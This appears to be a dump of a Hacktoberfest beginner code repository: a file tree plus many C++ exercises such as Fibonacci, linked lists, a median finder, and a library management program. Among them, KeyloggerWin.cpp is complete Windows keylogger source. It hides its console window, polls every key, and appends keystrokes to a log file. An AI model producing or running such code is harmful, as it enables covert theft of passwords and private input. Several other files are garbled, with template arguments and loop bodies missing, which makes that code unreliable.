├── .idea ├── .gitignore ├── Harsh-Hacktoberfest2021.iml ├── misc.xml ├── modules.xml ├── runConfigurations.xml └── vcs.xml ├── ArrayReversal.cpp ├── C++ ├── BinaryTreeToBST.cpp ├── FibonacciSeries.cpp ├── Fibonacci_series.cpp ├── Fibonacciseries.cpp ├── Find Median from Data Stream.cpp ├── Find_middle_of_a_linkedlist.cpp ├── Kadane's_Algorithm.cpp ├── KeyloggerWin.cpp ├── Kth Smallest Element .cpp ├── Library.cpp ├── Merge sort in c++ ├── MissingInNaturalNum.cpp ├── Nastia_and_nearly_Good_Numbers.cpp ├── Prime-factorization.cpp ├── Reverse_linkedlist.cpp ├── SieveOfEratosthenes.cpp ├── Subset_sum.cpp ├── Sum_tree.cpp ├── Transform_to_Sum_tree.cpp ├── Tree.cpp ├── Triangle Area.cpp ├── Trie.cpp ├── armstrongnumber.cpp ├── binarySearch.cpp ├── catalan_numbers.cpp ├── codeforceswaytoolongwords.cpp ├── fashionableecodeforces.cpp ├── findEvenOdd.cpp ├── jobschudling.cpp ├── knapsack.cpp ├── matrix_multiplication.cpp ├── maxplatforms.cpp ├── minimumCoins.cpp ├── multilevelinheritance.cpp ├── nMeeting.cpp ├── primeNumber.cpp ├── prime_num.cpp ├── quick sort cpp program ├── reverse_array.cpp ├── segmentTreeWithLazyPropagation.cpp ├── spiral_order_matrix_traversal.cpp └── zalgorithm.cpp ├── C ├── ArmstrongChecker.c ├── BinarySearch.c ├── BubbleSort.c ├── DecimalToBinary.c ├── FactorialUsingRecursion.c ├── HCF.c ├── Linear Search.c ├── Merge Two Arrays.c ├── PasswordValidator.c ├── PrimeCheck.c ├── StrongNumber.c ├── merge_sort.c ├── palindrome.c └── pointers.c ├── CheckBirthday.java ├── CircularLinkedList.java ├── ConstructorOverload.java ├── Fibonacciseries.exe ├── Harsh-Hacktoberfest2021.iml ├── Insertionsort.java ├── Java Script ├── FizzBuzz.js ├── Scramble │ ├── Scramble.html │ ├── guessWord.css │ └── guessWord.js └── checkAnagram.js ├── Java ├── AreMirrorTree.java ├── Bsort.java ├── Bubblesort.java ├── Calculator.java ├── CountNumberofDigits.java ├── Daya.java ├── DecimalToAnyBase.java ├── Determinantofmatrix.java ├── DigitFrequency.java ├── DoublyLinkedList.java ├── DuplicateElement.java ├── EvenOdd.java ├── FibonacciSeries.java ├── FindElement.java ├── FindPrimeNumber.java ├── Hashmap.java ├── InsertionSort.java ├── IntergerRead.java ├── JumpSearch.java ├── Kosaraju.java ├── KthOne.java ├── MCD.java ├── Matrix Operation.java ├── MaxAndMinQuery.java ├── MaxSatisfied.java ├── MaxSubArraySum.java ├── MergeSort.java ├── MirrorInverse.java ├── NoOfMinSegments.java ├── No_Of_Islands.java ├── Permutations.java ├── PowerCalculator.java ├── RabinKarp.java ├── RabinKarpAlgo.java ├── RemoveLinkedlistelments.java ├── ReverseLinkedList.java ├── Tower_of_Hanoi.java ├── UnionOfTwoArrays.java ├── arraycount.java ├── arraysum.java ├── gcd.java ├── matriceMultiplication.java ├── nthPrimeNumber.java ├── palindromestring.java ├── pattern1.java ├── pattern2.java ├── pattern3.java ├── pattern4.java ├── positivenegativenumber.java ├── selectionsort.java ├── singlylinkedlist.java └── twoSum.java ├── Kotlin ├── Extentions.kt ├── Power.kt ├── Table.kt ├── data-structures │ └── LinkedList.kt └── merge_sort.kt ├── Linux Notes.pdf ├── MethodOverload.java ├── PerfectNumber.java ├── Python ├── BubbleSort.py ├── Shortest Path.py ├── Snake Game.py ├── Triangle area.py ├── aStarSearch.py ├── armstrongNumber.py ├── calculator.py ├── dominoPiling.py ├── dots and boxes.py ├── hashcash.py ├── insertionsort.py ├── listcomprehesion.py ├── passwordgenerator.py ├── search.py └── thirdMaximumNumber.py ├── QueuewithArray.java ├── README.md ├── SinglyLinkedList .cpp ├── Students_grade.java ├── While_loop.java ├── calculate_age.java ├── code └── words_in_a_string.cpp ├── common-ports.pdf ├── datetime.java ├── javacalculator.java ├── spellingchecker.java ├── temperature.java └── weekdays.java /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /.idea/Harsh-Hacktoberfest2021.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ArrayReversal.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int reverse(int arr[], int start, int end) { 6 | 7 | int temp; 8 | 9 | if(start < end) { 10 | temp = arr[start]; 11 | arr[start] = arr[end]; 12 | arr[end] = temp; 13 | 14 | // recursive function call 15 | reverse(arr, start+1, end-1); 16 | } 17 | 18 | return 0; 19 | } 20 | 21 | int main() { 22 | 23 | int n, arr[100], i; 24 | 25 | cout << "Enter the size of an array \n"; 26 | cin >> n; 27 | 28 | cout << "Enter an element of an array \n"; 29 | 30 | for(i = 0; i < n; i++) { 31 | cin >> arr[i]; 32 | } 33 | 34 | reverse(arr, 0, n-1); 35 | 36 | cout << "Reverse of an array is \n"; 37 | 38 | for(i = 0; i < n; i++) { 39 | cout << arr[i] << " "; 40 | } 41 | 42 | return 0; 43 | } 44 | -------------------------------------------------------------------------------- /C++/BinaryTreeToBST.cpp: -------------------------------------------------------------------------------- 1 | // Problem Statement: Given a Binary Tree, convert it to Binary Search Tree in such a way that keeps the original structure of Binary Tree intact. 2 | // Description: https://practice.geeksforgeeks.org/problems/binary-tree-to-bst/1 3 | //Solution: 4 | 5 | class Solution{ 6 | public: 7 | int i=0; 8 | void VecToTree(vector& p, Node* &root) 9 | { 10 | if(i>=p.size() || root==NULL) 11 | return; 12 | 13 | // if(ileft); 15 | 16 | root->data = p[i]; 17 | i++; 18 | // i++ 19 | // if(iright); 21 | // i++; 22 | return; 23 | 24 | } 25 | void treeToVec(Node* root, vector& v) 26 | { 27 | if(root==NULL) 28 | return; 29 | treeToVec(root->left, v); 30 | v.push_back(root->data); 31 | treeToVec(root->right, v); 32 | return; 33 | } 34 | Node *binaryTreeToBST (Node *root) 35 | { 36 | if(root==NULL) 37 | return NULL; 38 | vectorv; 39 | treeToVec(root, v); 40 | sort(v.begin(), v.end()); 41 | int i=0; 42 | VecToTree(v, root); 43 | return root; 44 | 45 | } 46 | }; 47 | -------------------------------------------------------------------------------- /C++/FibonacciSeries.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | int fibo(int n) 5 | { 6 | if (n <= 1) 7 | return n; 8 | return fibo(n-1) + fibo(n-2); 9 | } 10 | 11 | int main () 12 | { 13 | int n; 14 | cin>>n; 15 | cout << fibo(n); 16 | 17 | return 0; 18 | } 19 | 20 | 21 | -------------------------------------------------------------------------------- /C++/Fibonacci_series.cpp: -------------------------------------------------------------------------------- 1 | //Github Username : Udyansingh 2 | #include 3 | using namespace std; 4 | 5 | int main() { 6 | int n, t1 = 0, t2 = 1, nextTerm = 0; 7 | 8 | cout << "Enter the number of terms: "; 9 | cin >> n; 10 | 11 | cout << "Fibonacci Series: "; 12 | 13 | for (int i = 1; i <= n; ++i) { 14 | // Prints the first two terms. 15 | if(i == 1) { 16 | cout << t1 << ", "; 17 | continue; 18 | } 19 | if(i == 2) { 20 | cout << t2 << ", "; 21 | continue; 22 | } 23 | nextTerm = t1 + t2; 24 | t1 = t2; 25 | t2 = nextTerm; 26 | 27 | cout << nextTerm << ", "; 28 | } 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /C++/Fibonacciseries.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | int fibo(int n) 5 | { 6 | if (n <= 1) 7 | return n; 8 | return fibo(n-1) + fibo(n-2); 9 | } 10 | 11 | int main () 12 | { 13 | int n; 14 | cin>>n; 15 | cout << fibo(n); 16 | 17 | return 0; 18 | } 19 | 20 | 21 | -------------------------------------------------------------------------------- /C++/Find Median from Data Stream.cpp: -------------------------------------------------------------------------------- 1 | class MedianFinder { 2 | public: 3 | priority_queue maxheap; 4 | priority_queue, greater>minheap; 5 | MedianFinder() { 6 | 7 | } 8 | 9 | void addNum(int num) { 10 | int lsize = maxheap.size(); 11 | int rsize = minheap.size(); 12 | if(lsize==0) 13 | maxheap.push(num); 14 | else if(lsize==rsize) 15 | { 16 | if(nummaxheap.top()) 31 | minheap.push(num); 32 | 33 | else 34 | { 35 | int temp = maxheap.top(); 36 | maxheap.pop(); 37 | minheap.push(temp); 38 | maxheap.push(num); 39 | } 40 | } 41 | else if(num>=minheap.top()) 42 | minheap.push(num); 43 | else 44 | { 45 | if(numrsize) 62 | return double(maxheap.top()); 63 | else 64 | return 65 | (double(maxheap.top())+double(minheap.top()))/2; 66 | } 67 | }; 68 | -------------------------------------------------------------------------------- /C++/Find_middle_of_a_linkedlist.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | class node{ 4 | public: 5 | int data; 6 | node *next;//yaha address store karvana tha toh aysy likha 7 | node(int data){ 8 | this->data=data; 9 | next=NULL; 10 | } 11 | }; 12 | node *middlenode(node *head){ 13 | node *slow=head; 14 | node *fast=head->next; 15 | while(fast && fast->next){ 16 | slow=slow->next; 17 | fast=fast->next->next; 18 | } 19 | if(fast!=NULL){ 20 | return slow->next; 21 | } 22 | return slow; 23 | } 24 | 25 | int main(){ 26 | node n1(81); 27 | node n2(27); 28 | node n3(56); 29 | node *head=&n1;// this head is storing the address of first link list component so that we can access the whole link list through this 30 | n1.next=&n2; 31 | n2.next=&n3;// this is storing address jaha pehle null stored tha 32 | 33 | cout<<"the middle element is "<data; 34 | 35 | 36 | return 0; 37 | 38 | 39 | } 40 | 41 | //The running time of finding the middle element this way with two pointers is O(n) because once we pass through the entire linked list of n elements, the slower pointer is at the middle node already. 42 | -------------------------------------------------------------------------------- /C++/Kadane's_Algorithm.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | long long maxSubarraySum(int arr[], int n){ 5 | 6 | long long maxSum=0; 7 | long long curSum=0; 8 | long long negativeMax=INT32_MIN; 9 | 10 | for(int i=0;imaxSum){ 13 | maxSum=curSum; 14 | } 15 | if(curSum<0){ 16 | if(curSum>=negativeMax) 17 | negativeMax=curSum; 18 | curSum=0; 19 | } 20 | } 21 | return maxSum==0 && curSum==0?negativeMax:maxSum; 22 | 23 | } 24 | 25 | int main(){ 26 | int arr[]={1,2,-5,4,2,6,-8,1}; 27 | cout< 78 N 94 ^ 110 n 126 ~ 19 | 15 SI 31 US 47 / 63 ? 79 O 95 _ 111 o 127 DEL 20 | */ 21 | #include 22 | #include 23 | #include 24 | #include 25 | #define print(x) std::cout << x << std::endl 26 | #define _MIN_ASCII_CHAR_ 8 27 | #define _MAX_ASCII_CHAR_ 255 28 | #define _KEY_PRESSED_ -32767 29 | 30 | std::string convertToKey(int); 31 | 32 | void LogPressedData(int i) { 33 | Sleep(10); 34 | FILE* LOG_FILE; 35 | LOG_FILE = fopen("logs.txt", "a+"); // open file and append data to it 36 | std::string vl = convertToKey(i); 37 | if (vl != "def212") { 38 | print(vl); 39 | fprintf(LOG_FILE, "%s", vl); 40 | } 41 | else { 42 | print(vl); 43 | fprintf(LOG_FILE, "%s", &i); 44 | } 45 | 46 | fclose(LOG_FILE); 47 | } 48 | int main() { 49 | ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // hides the console window. Remove this line if you need to view it 50 | while (true) { 51 | Sleep(20); 52 | for (char i = _MIN_ASCII_CHAR_; i < _MAX_ASCII_CHAR_; i++) { 53 | if (GetAsyncKeyState(i) == _KEY_PRESSED_) { 54 | LogPressedData(i); 55 | }// Checks if any key is pressed 56 | } 57 | } 58 | } 59 | std::string convertToKey(int i) { 60 | std::string logMessage; 61 | switch (i) { 62 | case VK_LEFT: 63 | logMessage = "LEFT_ARROW\n"; 64 | // Process the LEFT ARROW key. 65 | break; 66 | 67 | case VK_RIGHT: 68 | logMessage = "RIGHT_ARROW\n"; 69 | 70 | // Process the RIGHT ARROW key. 71 | 72 | break; 73 | 74 | case VK_UP: 75 | logMessage = "UP_ARROW\n"; 76 | 77 | // Process the UP ARROW key. 78 | 79 | break; 80 | 81 | case VK_DOWN: 82 | 83 | logMessage = "DOWN_ARROW\n"; 84 | // Process the DOWN ARROW key. 85 | 86 | break; 87 | 88 | case VK_HOME: 89 | 90 | logMessage = "HOME_KEY\n"; 91 | // Process the HOME key. 92 | 93 | break; 94 | 95 | case VK_END: 96 | 97 | logMessage = "END_KEY\n"; 98 | // Process the END key. 99 | break; 100 | case VK_INSERT: 101 | logMessage = "INSERT_KEY\n"; 102 | // Process the INS key. 103 | break; 104 | case VK_DELETE: 105 | logMessage = "DELETE_KEY\n"; 106 | // Process the DEL key. 107 | break; 108 | case VK_NUMPAD0: 109 | logMessage = "Numeric keypad 0 key\n"; 110 | break; 111 | case VK_NUMPAD1: 112 | logMessage = "Numeric keypad 1 key\n"; 113 | break; 114 | case VK_NUMPAD2: 115 | logMessage = "Numeric keypad 2 key\n"; 116 | break; 117 | case VK_NUMPAD3: 118 | logMessage = "Numeric keypad 3 key\n"; 119 | break; 120 | case VK_NUMPAD4: 121 | logMessage = "Numeric keypad 4 key\n"; 122 | break; 123 | case VK_NUMPAD5: 124 | logMessage = "Numeric keypad 5 key\n"; 125 | break; 126 | case VK_NUMPAD6: 127 | logMessage = "Numeric keypad 6 key\n"; 128 | break; 129 | case VK_NUMPAD7: 130 | logMessage = "Numeric keypad 7 key\n"; 131 | break; 132 | case VK_NUMPAD8: 133 | logMessage = "Numeric keypad 8 key\n"; 134 | break; 135 | case VK_NUMPAD9: 136 | logMessage = "Numeric keypad 9 key\n"; 137 | break; 138 | 139 | 140 | case VK_MULTIPLY: 141 | logMessage = "Multiply key\n"; 142 | break; 143 | case VK_ADD: 144 | logMessage = "Add key\n"; 145 | break; 146 | case VK_SEPARATOR: 147 | 148 | logMessage = "Separator key\n"; 149 | break; 150 | case VK_SUBTRACT: 151 | 152 | logMessage = " Subtract key\n"; 153 | break; 154 | case VK_DECIMAL: 155 | 156 | logMessage = "Decimal key"; 157 | break; 158 | case VK_DIVIDE: 159 | 160 | logMessage = "Divide key"; 161 | break; 162 | 163 | case VK_F1: 164 | logMessage = "F1_KEY\n"; 165 | break; 166 | case VK_F2: 167 | logMessage = "F2_KEY\n"; 168 | break; 169 | case VK_F3: 170 | logMessage = "F3_KEY\n"; 171 | break; 172 | case VK_F4: 173 | logMessage = "F4_KEY\n"; 174 | break; 175 | case VK_F5: 176 | logMessage = "F5_KEY\n"; 177 | break; 178 | case VK_F6: 179 | logMessage = "F6_KEY\n"; 180 | break; 181 | case VK_F7: 182 | logMessage = "F7_KEY\n"; 183 | break; 184 | case VK_F8: 185 | logMessage = "F8_KEY\n"; 186 | break; 187 | case VK_F9: 188 | logMessage = "F9_KEY\n"; 189 | break; 190 | case VK_F10: 191 | logMessage = "F10_KEY\n"; 192 | break; 193 | case VK_F11: 194 | logMessage = "F11_KEY\n"; 195 | break; 196 | case VK_F12: 197 | logMessage = "F12_KEY\n"; 198 | break; 199 | case 0x41: 200 | logMessage = "A"; 201 | break; 202 | case 0x42: 203 | logMessage = "B"; 204 | break; 205 | case 0x43: 206 | logMessage = "C"; 207 | break; 208 | case 0x44: 209 | logMessage = "D"; 210 | break; 211 | case 0x45: 212 | logMessage = "E"; 213 | break; 214 | case 0x46: 215 | logMessage = "F"; 216 | break; 217 | case 0x47: 218 | logMessage = "G"; 219 | break; 220 | case 0x48: 221 | logMessage = "H"; 222 | break; 223 | case 0x49: 224 | logMessage = "I"; 225 | break; 226 | case 0x4A: 227 | logMessage = "J"; 228 | break; 229 | case 0x4B: 230 | logMessage = "K"; 231 | break; 232 | case 0x4C: 233 | logMessage = "L"; 234 | break; 235 | case 0x4D: 236 | logMessage = "M"; 237 | break; 238 | case 0x4E: 239 | logMessage = "N"; 240 | break; 241 | case 0x4F: 242 | logMessage = "O"; 243 | break; 244 | case 0x50: 245 | logMessage = "P"; 246 | break; 247 | case 0x51: 248 | logMessage = "Q"; 249 | break; 250 | case 0x52: 251 | logMessage = "R"; 252 | break; 253 | case 0x53: 254 | logMessage = "S"; 255 | break; 256 | case 0x54: 257 | logMessage = "T"; 258 | break; 259 | case 0x55: 260 | logMessage = "U"; 261 | break; 262 | case 0x56: 263 | logMessage = "V"; 264 | break; 265 | case 0x57: 266 | logMessage = "W"; 267 | break; 268 | case 0x58: 269 | logMessage = "X"; 270 | break; 271 | case 0x59: 272 | logMessage = "Y"; 273 | break; 274 | case 0x5A: 275 | logMessage = "Z"; 276 | break; 277 | case VK_SELECT: 278 | logMessage = "SELECT key"; 279 | break; 280 | case VK_PRINT: 281 | logMessage = "PRINT key"; 282 | break; 283 | case VK_EXECUTE: 284 | logMessage = "EXECUTE key"; 285 | break; 286 | case VK_SNAPSHOT: 287 | logMessage = "PRINT SCREEN key"; 288 | break; 289 | case VK_HELP: 290 | logMessage = "HELP key"; 291 | break; 292 | 293 | 294 | case 0x30: 295 | logMessage = "0"; 296 | break; 297 | case 0x31: 298 | logMessage = "1"; 299 | break; 300 | case 0x32: 301 | logMessage = "2"; 302 | break; 303 | case 0x33: 304 | logMessage = "3"; 305 | break; 306 | case 0x34: 307 | logMessage = "4"; 308 | break; 309 | case 0x35: 310 | logMessage = "5"; 311 | break; 312 | case 0x36: 313 | logMessage = "6"; 314 | break; 315 | case 0x37: 316 | logMessage = "7"; 317 | 318 | break; 319 | case 0x38: 320 | logMessage = "8"; 321 | break; 322 | case 0x39: 323 | logMessage = "9"; 324 | break; 325 | 326 | case VK_SPACE: 327 | logMessage = "SPACEBAR"; 328 | break; 329 | 330 | 331 | case VK_BACK: 332 | logMessage = "BACKSPACE"; 333 | break; 334 | case VK_TAB: 335 | logMessage = "TAB key"; 336 | break; 337 | case VK_CLEAR: 338 | logMessage = "CLEAR key"; 339 | break; 340 | case VK_RETURN: 341 | logMessage = "ENTER key"; 342 | break; 343 | case VK_SHIFT: 344 | logMessage = "SHIFT key"; 345 | break; 346 | case VK_CONTROL: 347 | logMessage = "CTRL key"; 348 | break; 349 | case VK_MENU: 350 | logMessage = "ALT key"; 351 | break; 352 | case VK_PAUSE: 353 | logMessage = "PAUSE key"; 354 | break; 355 | case VK_CAPITAL: 356 | logMessage = "CAPS LOCK key"; 357 | break; 358 | default: 359 | return "def"; 360 | } 361 | return logMessage; 362 | } -------------------------------------------------------------------------------- /C++/Kth Smallest Element .cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | using namespace std; 4 | 5 | int kthSmallest(int arr[], int l, int r, int k) { 6 | sort(arr,arr+r+1); //O(nlogn) complexity 7 | return arr[k-1]; 8 | } 9 | 10 | int main(){ 11 | 12 | int arr[]={9,5,3,2,90,100}; 13 | cout< 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | class book 8 | { 9 | char bno[6]; 10 | char bname[50]; 11 | char aname[20]; 12 | public: 13 | void create_book() 14 | { 15 | cout<<"\nNEW BOOK ENTRY...\n"; 16 | cout<<"\nEnter The book no."; 17 | cin>>bno; 18 | cout<<"\n\nEnter The Name of The Book "; 19 | gets(bname); 20 | cout<<"\n\nEnter The Author's Name "; 21 | gets(aname); 22 | cout<<"\n\n\nBook Created.."; 23 | } 24 | void show_book() 25 | { 26 | cout<<"\nBook no. : "<>admno; 60 | cout<<"\n\nEnter The Name of The Student "; 61 | gets(name); 62 | token=0; 63 | stbno[0]='/0'; 64 | cout<<"\n\nStudent Record Created.."; 65 | } 66 | void show_student() 67 | { 68 | cout<<"\nAdmission no. : "<>ch; 89 | }while(ch=='y'||ch=='Y'); 90 | fp.close(); 91 | } 92 | void write_student() 93 | { 94 | char ch; 95 | fp.open("student.dat",ios::out|ios::app); 96 | do 97 | { 98 | st.create_student(); 99 | fp.write((char*)&st,sizeof(student)); 100 | cout<<"\n\ndo you want to add more record..(y/n?)"; 101 | cin>>ch; 102 | }while(ch=='y'||ch=='Y'); 103 | fp.close(); 104 | } 105 | void display_spb(char n[]) 106 | { 107 | cout<<"\nBOOK DETAILS\n"; 108 | int flag=0; 109 | fp.open("book.dat",ios::in); 110 | while(fp.read((char*)&bk,sizeof(book))) 111 | { 112 | if(strcmpi(bk.retbno(),n)==0) 113 | { 114 | bk.show_book(); 115 | flag=1; 116 | } 117 | } 118 | fp.close(); 119 | if(flag==0) 120 | cout<<"\n\nBook does not exist"; 121 | getch(); 122 | } 123 | void display_sps(char n[]) 124 | { 125 | cout<<"\nSTUDENT DETAILS\n"; 126 | int flag=0; 127 | fp.open("student.dat",ios::in); 128 | while(fp.read((char*)&st,sizeof(student))) 129 | { 130 | if((strcmpi(st.retadmno(),n)==0)) 131 | { 132 | st.show_student(); 133 | flag=1; 134 | } 135 | } 136 | fp.close(); 137 | if(flag==0) 138 | cout<<"\n\nStudent does not exist"; 139 | getch(); 140 | } 141 | void delete_student() 142 | { 143 | char n[6]; 144 | int flag=0; 145 | clrscr(); 146 | cout<<"\n\n\n\tDELETE STUDENT..."; 147 | cout<<"\n\nEnter The admission no. of the Student You Want To Delete : "; 148 | cin>>n; 149 | fp.open("student.dat",ios::in|ios::out); 150 | fstream fp2; 151 | fp2.open("Temp.dat",ios::out); 152 | fp.seekg(0,ios::beg); 153 | while(fp.read((char*)&st,sizeof(student))) 154 | { 155 | if(strcmpi(st.retadmno(),n)!=0) 156 | fp2.write((char*)&st,sizeof(student)); 157 | else 158 | flag=1; 159 | } 160 | 161 | fp2.close(); 162 | fp.close(); 163 | remove("student.dat"); 164 | rename("Temp.dat","student.dat"); 165 | if(flag==1) 166 | cout<<"\n\n\tRecord Deleted .."; 167 | else 168 | cout<<"\n\nRecord not found"; 169 | getch(); 170 | } 171 | void book_issue() 172 | { 173 | char sn[6],bn[6]; 174 | int found=0,flag=0; 175 | clrscr(); 176 | cout<<"\n\nBOOK ISSUE ..."; 177 | cout<<"\n\n\tEnter The student's admission no."; 178 | cin>>sn; 179 | fp.open("student.dat",ios::in|ios::out); 180 | fp1.open("book.dat",ios::in|ios::out); 181 | while(fp.read((char*)&st,sizeof(student)) && found==0) 182 | { 183 | if(strcmpi(st.retadmno(),sn)==0) 184 | { 185 | found=1; 186 | if(st.rettoken()==0) 187 | { 188 | cout<<"\n\n\tEnter the book no. "; 189 | cin>>bn; 190 | while(fp1.read((char*)&bk,sizeof(book))&& flag==0) 191 | { 192 | if(strcmpi(bk.retbno(),bn)==0) 193 | { 194 | bk.show_book(); 195 | flag=1; 196 | st.addtoken(); 197 | st.getstbno(bk.retbno()); 198 | int pos=-1*sizeof(st); 199 | fp.seekp(pos,ios::cur); 200 | fp.write((char*)&st,sizeof(student)); 201 | cout<<"\n\n\t Book issued successfully\n\nPlease Note: Write current date in backside of book and submit within 15 days fine Rs. 1 for each day after 15 days period"; 202 | } 203 | } 204 | if(flag==0) 205 | cout<<"Book no does not exist"; 206 | } 207 | else 208 | cout<<"You have not returned the last book "; 209 | 210 | } 211 | } 212 | if(found==0) 213 | cout<<"Student record not exist..."; 214 | getch(); 215 | fp.close(); 216 | fp1.close(); 217 | } 218 | void book_deposit() 219 | { 220 | char sn[6],bn[6]; 221 | int found=0,flag=0,day,fine; 222 | clrscr(); 223 | cout<<"\n\nBOOK DEPOSIT ..."; 224 | cout<<"\n\n\tEnter The student's admission no."; 225 | cin>>sn; 226 | fp.open("student.dat",ios::in|ios::out); 227 | fp1.open("book.dat",ios::in|ios::out); 228 | while(fp.read((char*)&st,sizeof(student)) && found==0) 229 | { 230 | if(strcmpi(st.retadmno(),sn)==0) 231 | { 232 | found=1; 233 | if(st.rettoken()==1) 234 | { 235 | while(fp1.read((char*)&bk,sizeof(book))&& flag==0) 236 | { 237 | if(strcmpi(bk.retbno(),st.retstbno())==0) 238 | { 239 | bk.show_book(); 240 | flag=1; 241 | cout<<"\n\nBook deposited in no. of days"; 242 | cin>>day; 243 | if(day>15) 244 | { 245 | fine=(day-15)*1; 246 | cout<<"\n\nFine has to deposited Rs. "<>ch2; 288 | switch(ch2) 289 | { 290 | case 1: clrscr(); 291 | write_student();break; 292 | case 2: display_alls();break; 293 | 294 | case 5: delete_student();break; 295 | case 6: clrscr(); 296 | write_book();break; 297 | case 11: return; 298 | default:cout<<"\a"; 299 | } 300 | admin_menu(); 301 | } 302 | void main() 303 | { 304 | char ch; 305 | intro(); 306 | do 307 | { 308 | clrscr(); 309 | cout<<"\n\n\n\tMAIN MENU"; 310 | cout<<"\n\n\t01. BOOK ISSUE"; 311 | cout<<"\n\n\t02. BOOK DEPOSIT"; 312 | cout<<"\n\n\t03. ADMINISTRATOR MENU"; 313 | cout<<"\n\n\t04. EXIT"; 314 | cout<<"\n\n\tPlease Select Your Option (1-4) "; 315 | ch=getche(); 316 | switch(ch) 317 | { 318 | case '1':clrscr(); 319 | book_issue(); 320 | break; 321 | case '2':book_deposit(); 322 | break; 323 | case '3':admin_menu(); 324 | break; 325 | case '4':exit(0); 326 | default :cout<<"\a"; 327 | } 328 | }while(ch!='4'); 329 | } 330 | //*************************************************************** 331 | // END OF PROJECT 332 | //*************************************************************** 333 | -------------------------------------------------------------------------------- /C++/Merge sort in c++: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | void swapping(int &a, int &b) { //swap the content of a and b 4 | int temp; 5 | temp = a; 6 | a = b; 7 | b = temp; 8 | } 9 | void display(int *array, int size) { 10 | for(int i = 0; i> n; 59 | int arr[n]; //create an array with given number of elements 60 | cout << "Enter elements:" << endl; 61 | for(int i = 0; i> arr[i]; 63 | } 64 | cout << "Array before Sorting: "; 65 | display(arr, n); 66 | mergeSort(arr, 0, n-1); //(n-1) for last index 67 | cout << "Array after Sorting: "; 68 | display(arr, n); 69 | } 70 | -------------------------------------------------------------------------------- /C++/MissingInNaturalNum.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | int main(){ 5 | int n; 6 | cout<<"Enter total number of elements"; 7 | cin>>n; 8 | int a[n]; 9 | int s=(n+2)*(n+1)/2; 10 | int sum=0; 11 | for(int i=0;i>a[i]; 13 | sum+=a[i]; 14 | } 15 | cout<<"Missing Element is "< 3 | using namespace std; 4 | #define ll long long int 5 | 6 | #define mp make_pair 7 | #define theminv 1e9 8 | const int maxn=1e5+10; 9 | typedef pairpii; 10 | #define fast ios_base::sync_with_stdio(false), cin.tie(nullptr), cout.tie(nullptr); 11 | 12 | 13 | int32_t main(){ 14 | fast 15 | int i=0,j=0; 16 | ll t=1; 17 | cin>>t; 18 | while(t--){ 19 | ll n,x; 20 | cin>>n>>x; 21 | ll div=n*x; 22 | ll re=0; 23 | bool got=false; 24 | for(ll i=n*x+1;i<10000000;i++) 25 | { 26 | if(i%div==0) 27 | { 28 | re=i; 29 | got=true; 30 | break; 31 | } 32 | } 33 | if(x==1) 34 | { 35 | cout<<"NO"< 9 | #include 10 | 11 | using namespace std; 12 | 13 | int main() 14 | { 15 | int n; 16 | cout<<"\nEnter upper bound for number : "; 17 | cin>>n; 18 | vector prime(n+1); 19 | for(int i=0;i<=n;i++) 20 | prime[i]=i; 21 | prime[0]=prime[1]=-1; 22 | 23 | for(int i=4;i<=n;i+=2) 24 | prime[i]=2; 25 | for(int i=3;i*i<=n;i+=2) 26 | if(prime[i]==i) 27 | for(int j=i*i;j<=n;j+=i) 28 | if(prime[j]==j) 29 | prime[j]=i; 30 | 31 | cout<<"\nEnter number of query : "; 32 | int q; 33 | cin>>q; 34 | while(q--) 35 | { 36 | cout<<"\nEnter a number : "; 37 | int x; 38 | cin>>x; 39 | if(x<=1) 40 | { 41 | cout<<"\nCan't calculate prime factor"; 42 | continue; 43 | } 44 | if(x>n) 45 | { 46 | cout<<"\nInvalid number\n"; 47 | continue; 48 | } 49 | cout<<"\nPrime factorization for "< 2 | using namespace std; 3 | 4 | 5 | struct Node { 6 | int data; 7 | struct Node* next; 8 | Node(int data) 9 | { 10 | this->data = data; 11 | next = NULL; 12 | } 13 | }; 14 | 15 | struct LinkedList { 16 | Node* head; 17 | LinkedList() { head = NULL; } 18 | 19 | 20 | void reverse() 21 | { 22 | 23 | Node* current = head; 24 | Node *prev = NULL, *next = NULL; 25 | 26 | while (current != NULL) { 27 | 28 | next = current->next; 29 | 30 | 31 | current->next = prev; 32 | 33 | 34 | prev = current; 35 | current = next; 36 | } 37 | head = prev; 38 | } 39 | 40 | 41 | void print() 42 | { 43 | struct Node* temp = head; 44 | while (temp != NULL) { 45 | cout << temp->data << " "; 46 | temp = temp->next; 47 | } 48 | } 49 | 50 | void push(int data) 51 | { 52 | Node* temp = new Node(data); 53 | temp->next = head; 54 | head = temp; 55 | } 56 | }; 57 | 58 | int main() 59 | { 60 | 61 | LinkedList ll; 62 | ll.push(20); 63 | ll.push(4); 64 | ll.push(15); 65 | ll.push(85); 66 | 67 | cout << "Given linked list\n"; 68 | ll.print(); 69 | 70 | ll.reverse(); 71 | 72 | cout << "\nReversed Linked list \n"; 73 | ll.print(); 74 | return 0; 75 | } 76 | -------------------------------------------------------------------------------- 